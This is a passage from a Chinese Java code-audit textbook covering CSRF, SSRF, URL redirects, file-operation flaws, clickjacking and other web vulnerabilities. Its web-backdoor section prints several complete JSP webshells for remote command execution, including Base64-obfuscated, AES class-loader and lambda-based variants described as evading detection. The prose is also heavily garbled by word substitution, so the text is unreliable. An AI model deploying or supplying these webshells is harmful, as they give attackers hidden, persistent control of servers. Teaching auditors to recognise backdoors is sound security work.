图6-1 CSRF漏洞的攻击事理
从图 6-1中可以看到,一次完全的 CSRF 攻击须要具备以下两个条件。
用户已经登录某站点,并且在浏览器中存储了登录后的 Cookie 信息。在不注销某站点的情形下,去访问攻击者布局的站点。总的来说,CSRF 漏洞攻击是一种比较大略的攻击,利用Web的隐式身份验证机制来达到攻击者的攻击目的。
6.2 SSRF
SSRF(Server-Side Request Forge,做事端要求假造)是目前在大型站点中涌现频率较高的漏洞,这种漏洞常日是由攻击者布局的payload通报给做事端,做事端对传回的 payload 未做处理直接实行而造成的。一样平常情形下,攻击者无法访问攻击目标的内网,SSRF 是攻击者访问内网的凭借之一,由于SSRF 攻击是由做事端发起的,以是它能够要求到与它相连而与外网隔离的内部系统。
SSRF 的漏洞事理很大略,基本上都是做事端供应了从其他做事器运用获取数据的功能且没有对目标地址和传入命令进行过滤与限定作成的,如常见的从指定URL地址加载图片、文本资源或者获取指定页面的网页内容等。图6-2所示为对SSRF漏洞利用流程的大略描述。
图6-2 SSRF攻击流程
如图 6-2 所示,攻击者首先向可直接访问的 Web站点发送攻击载荷,该攻击载荷的攻击工具为内部网络。然后,Web 站点作为“中间人”,将包含有恶意攻击要求的要求通报给内部网络,内部网络接管要求并处理后,将结果返回给 Web站点。末了,Web 站点将内部网络返回的结果通报给攻击者,以此达到攻击内部网络的目的。
6.3 URL跳转URL 跳转漏洞也叫作 URL 重定向漏洞,由于做事端未对传入的跳转地址进行检讨和掌握,从而导致攻击者可以布局任意一个恶意地址,勾引用户跳转至恶意站点。由于是从用户可信站点跳转出去的,用户会比较信赖该站点,以是URL跳转漏洞常用于钓鱼攻击,通过转到攻击者精心布局的恶意网站来欺骗用户输入信息,从而盗取用户的账号和密码等敏感信息,愈甚者会欺骗用户进行金钱交易。
URL跳转漏洞的成因并不繁芜,紧张是做事端未对传入的跳转URL变量进行检讨和掌握,或者对传入的跳转URL变量过滤不严格导致的,图6-19所示为一次URL
图6-19 一次URL跳转攻击
跳转攻击。
攻击者首先精心布局一个钓鱼站点 A,然后利用 URL 跳转漏洞修正目的跳转地址,使原来应跳转到可信任站点 C 的地址变成钓鱼站点 A。由于用户信赖站点 B,而钓鱼站点 A 又是从可信任站点 B 中重定向的,因此可能对钓鱼站点 A 同样信赖。用户一旦用户输入干系的敏感信息,就可能被攻击者盗取。
6.4 文件操作漏洞文件操作是 Java Web 的核心功能之一,个中常用的操作便是将做事器上的文件以流的形式在本地读写,或上传到网络上,Java中的File类便是对这些存储于磁盘上文件的虚拟映射。与我们在本地打算机上操作文件类似,Java对文件的操作同样包括上传、删除、读取、写入等。Java Web本身去实现这些功能是没有漏洞的,但是由于开拓职员忽略了一些细节,导致攻击者可以利用这些细节通过文件操作Java Web 本身的这一个功能,从而实现形如任意文件上传、任意文件下载/读取、任意文件删除等漏洞,有的场景下乃至可以利用文件解压实现目录穿越或谢绝做事攻击等,对做事器造成巨大的危害。
6.5 Web后门漏洞6.5.1 Web后门漏洞简介Web 后门指的因此网页形式存在的一种代码实行环境,通过这种代码实行环境,攻击者可以利用浏览器来实行干系命令以达到掌握网站做事器的目的。这里的代码实行环境实在是指编写后门所利用的措辞,如PHP、ASP、JSP 等,业内常日称这种文件为 WebShell,其紧张目的是用于后期坚持权限。本节将大略先容一些 Java的 Web 后门。
6.5.2 Java Web 后门案例讲解Java Web 是很多大型厂商的选择,也正是由于如此,Java Web 的安全问题日益得到重视,JSP Webshell 便是个中之一。最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型措辞,措辞特性较为严格,不能够像 PHP 那样利用字符串组合当作系统函数利用,但即便如此,随着安全职员的进一步研究,依旧涌现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来大略讲解 Java Web 后门。
1.函数调用与 PHP 中的命令实行函数 system() 和 eval() 类似,Java 中也存在命令实行函数,个中利用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start(),通过调用这两个函数,可以编写大略的Java Web 后门。在 Java 中调用函数的办法有很多种,本节紧张讲解直接调用和反射调用这两种类型的 Web 后门。
第一种是直接调用。顾名思义,便是通过直接调用命令实行函数的方法来布局 Web 后门,示例代码如下。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
上述代码是一个大略的JSP一句话木马,但是这种类型的一句话后门是没有回显的,即当攻击者实行命令后无法看到返回的信息。因此这种后门常日用来反弹shell,比较常见的有回显的 JSP 一句话木马示例如下。
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
这个一句话木马与前一个比较较,多了回显的功能,能够将攻击者实行命令后的结果反馈给攻击者,如图6-42所示。
图6-42 JSP一句话木马回显结果
类似于这种一句话后门在审计时很随意马虎被创造,只须要搜索关键函数Runtime.getRuntime().exec 就能够创造其是否是 Java Web 后门。
第二种是反射调用。通过上文我们理解到,当攻击者通过直接调用的办法在 Web 站点植入一句话后,对付审计者来说,很随意马虎通过查找关键函数来创造后门,因此有些攻击者选择更暗藏的反射调用类 Web 后门,如以下示例代码。
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="sun.misc.BASE64Decoder" %><% BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class.forName(new String(decoder.decodeBuffer ("amF2YS5sYW5nLlJ1bnRpbWU="))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))). invoke(null, new Object[]{}), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
在上述代码中,攻击者并没有采取直策应用类名调用方法的办法去布局后门,而是采取动态加载的办法,把所要调用的类与函数放到一个字符串的位置,然后利用各种变形(此处利用的是 Base64 编码)来达到对恶意类或函数隐蔽的目的,纵然通过关键函数搜索也没法创造后门。
此外,由于反射可以直接调用各种私有类方法,导致了利用反射编写的后门层出不穷,个中最有代表性的便是通过加载字节码编写的后门,这种后门使做事端动态地将字节码解析成Class,这样一来就可以达到“一句话木马”的效果。著名的客户端管理工具“冰蝎”便是采取了这种办法。如下示例代码便是采取这种办法的大略实现。
<%@page import="java.util.,javax.crypto.,javax.crypto.spec."%><%! class U extends ClassLoader{ U(ClassLoder c){ super(c); } } public Class g(byte []b){ return super.defineClass(b,0,b.length); } }%><%if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc. BASE64Decoder().decodeBuffer(request.getReader().readLine()))). newInstance().equals(pageContext);}%>
对付此类后门常日采取后门扫描工具进行检测,在人工审计时常日着重关注其加密的函数,如BASE64Decoder()以及SecretKeySpec()等。
2.JDK 特性JDK 全称为 Java Development Kit,是 Java 开拓环境。我们常日所说的 JDK 指的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。从 JDK 出身至今,每个版本都有不同的特性,利用这些特性可以编写出不同类型的 Java Web 后门。以下示例便是利用了Java 的干系特性来编写的 Java Web后门。
利用Lambda 表达式编写的 JSP 一句话木马。
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.util.function.Function" %><%@ page import="java.io.IOException" %><%@ page import="java.util.List" %><%@ page import="java.util.Arrays" %><%@ page import="java.util.stream.Collectors" %><%@ page import="java.io.InputStream" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.util.Collections" %><%@ page import="java.util.ArrayList" %><html><head> <title>Title</title></head><body><% String[] planets = new String[] { "redliuBssecorP.gnal.avaj"}; Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse(). toString()); String name = Arrays.toString(planets).replace("[","").replace("]",""); String st = "start"; String pw = request.getParameter("pw"); Class cls = Class.forName(name); Object obj = cls.getConstructor(List.class).newInstance(Arrays. asList(pw)); Method startCmd = cls.getMethod(st); Process p = (Process)startCmd.invoke(obj); InputStream in = p.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
Lambda 许可把函数作为一个方法的参数(函数作为参数通报进方法中)。利用这个特性我们可以操作类名,从而达到躲避检测的目的。
与此类似,用户还可以利用Java 8 的新特性,访问接口中的默认方法—— Reduce来编写 JSP 一句话木马,示例代码如下。
<%@ page import="java.util.function.Function" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Arrays" %><%@ page import="java.util.List" %><%@ page import="java.util.ArrayList" %><%@ page import="java.util.Optional" %><html><head> <title>Title</title></head><body><% List<String> stringCollection = new ArrayList<>(); stringCollection.add("ProcessBuilder"); stringCollection.add("java.lang."); Optional<String> reduced = stringCollection .stream() .sorted() .reduce((s1, s2) -> s2 + "" + s1); String name = String.valueOf(reduced).replace("Optional[","").replace("]",""); String st = "start"; String pw = request.getParameter("pw"); Class cls = Class.forName(name); Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList (pw)); Method startCmd = cls.getMethod(st); Process p = (Process)startCmd.invoke(obj); InputStream in = p.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%></body></html>
Reduce 是一个终极操作,许可通过指定的函数将 stream 中的多个元素规约为一个元素,规约后的结果通过 Optional 接口表示,然后利用 replace 更换实行函数的字符串即可达到免杀的效果。
JDK 新版本的特性还有很多,并且此类后门的防患较为困难。对付低级审计者来说创造后门并不是重点任务,重点是创造源程序本身存在的漏洞,但学习 Java Web 后门的干系知识对我们的审计能力同样能够起到相辅相成的浸染,毕竟每一个 Java 代码实行漏洞在某种意义上来说都是一个 Java Web 后门。
6.5.3 小结除根据函数调用编写办法和利用 JDK 特性编写的 Java Web后门外,还有很多其他更有趣的编写办法,如Java 中存在很多表达式,包括 OGNL、SpEL、MVEL、EL、Fel、JST+EL等,这些表达式都有自己的特性和写法。因此根据这些表达式的特性和写法也能够写出不同类型的Java Web后门,以及实现动态注册自定义 Controller实现的内存级webshell、内部类编写的 webshell等。对这些更深入的编写办法有兴趣的读者可以在互联网上自行网络资料,来加深对付 Java 代码审计的理解。
6.6 逻辑漏洞目前的开拓职员都具备一定的安全开拓知识,不少公司还特地对开拓职员进行了安全开拓培训。对付安全职员来说,想要审计出代码实行、注入漏洞等高危漏洞是非常困难的,一定要贴合业务去挖掘漏洞,因此逻辑漏洞的挖掘就变成了一项比较主要的审计内容。
逻辑漏洞一样平常是由于源程序自身逻辑存在毛病,导致攻击者可以对逻辑毛病进行深层次的利用。逻辑漏洞涌现较为频繁的地方一样平常是登录验证逻辑、验证码校验逻辑、密码找回逻辑、权限校验逻辑以及支付逻辑等常见的业务逻辑。本节将挑选一些比较经典的逻辑漏洞进行讲解。
6.7 前端配置不当漏洞随着前端技能的快速发展,各种前端框架、前端配置不断更新,前真个安全问题也逐渐显现出来。为了应对这些问题,也出身了诸如 CORS、CSP、SOP等一些应对策略。本节就来谈一谈由于前端配置不当而导致的一些漏洞。
6.8 谢绝做事攻击漏洞谢绝做事(Denial of Service,DoS)攻击,也称作大水攻击,这种攻击的目的在于使目标电脑的网络或系统资源耗尽,做事暂时中断或停滞,导致正常用户无法访问。那么 Web 本身的代码逻辑或功能是否会导致涌现谢绝做事呢?答案是肯定的。Java中有很多由于本身逻辑或者功能而导致的谢绝做事,如ReDoS、JVM DoS、Weblogic HTTP DoS、Apache Commons fileupload DoS等,这些DoS形成的缘故原由各不相同,造成的结果大相径庭,本节将先容Java中的谢绝做事攻击漏洞。
6.9 点击挟制漏洞点击挟制(Clickjacking)也称为UI-覆盖攻击(UI Redress Attack),这个观点源于耶利米·格罗斯曼(Jeremiah Grossman)和罗伯特·汉森(Robert Hansen),这两人在2008年创造Adobe Flash Player 能够被挟制,使攻击者可以在用户不知情的情形下访问打算机。点击挟制是一种视觉上的欺骗手段,攻击者利用iframe元素制作了一个透明的、不可见的页面,然后将其覆盖在另一个网页上,终极诱利用户在该网页上进行操作。当用户在不知情的情形下单击攻击者精心布局的页面时,攻击者就完成了其攻击目的。图6-63所示为点击挟制漏洞的事理。
图6-63 点击挟制漏洞的事理
首先,攻击者利用iframe代码构建一个透明的恶意窗口;然后,将该界面固定在某个页面的某个功能处,当用户单击真实功能处时,实际上单击的是攻击者挟制的功能;末了,完成挟制,攻击者即可实现转账、获取个人信息、删除内容以及发布内容等目的。
在实际运用中,攻击者所追求的每每不是“点击”,而是“挟制”,有的攻击者乃至在输入框上伪装一个输入框,误导用户在缺点的位置输入关键信息。
6.10 HTTP参数污染漏洞大略来说,HTTP 参数污染(HTTP Parameter Pollution,HPP)便是为一个参数授予两个或两个以上的值。由于现行的 HTTP 标准并未详细解释在碰着多个输入值为相同的参数赋值时应如何处理,并且不同站点对此类问题做出的处理办法不同,因此会造成参数解析缺点。
本文摘自《Java代码审计 入门篇》
代码审计(Code Audit)是一种以创造安全漏洞、程序缺点和违反程序规范为目标的源代码剖析。Web运用程序目前仍旧是安全防御的重中之重,对业务的代码进行安全审计是十分主要的。加之Java措辞的运用范围广,国内外大型企业大多采取Java作为核心的开拓措辞,因此对付安全从业者来说,Java代码审计成为了自身该当节制的关键技能。
本书是一本Java代码审计入门图书,通过大量的示例先容代码审计的常用入门知识。全书内容分为9章,紧张先容了代码审计的根本知识、代码审计的环境搭建、赞助工具简介、Java EE根本知识补充、OWASP Top十 2017内外的代码审计履历先容、JSPXCMS代码审计实战以及IAST与RASP技能的先容等内容,其余,本书还对Java安全编码规范索引进行了大略的先容。
本书适宜安全从业职员、软件开拓职员以及对代码安全感兴趣的读者阅读。
本书内容:◆ 初识Java代码审计;◆ 代码审计环境搭建;◆ 代码审计赞助工具简介;◆ Java EE根本知识;◆ “OWASP Top 10 2017”漏洞的代码审计;◆ “OWASP Top 10 2017”之外常见漏洞的代码审计;◆ Java EE开拓框架安全审计;◆ Jspxcms代码审计实战;◆ 小话IAST与RASP。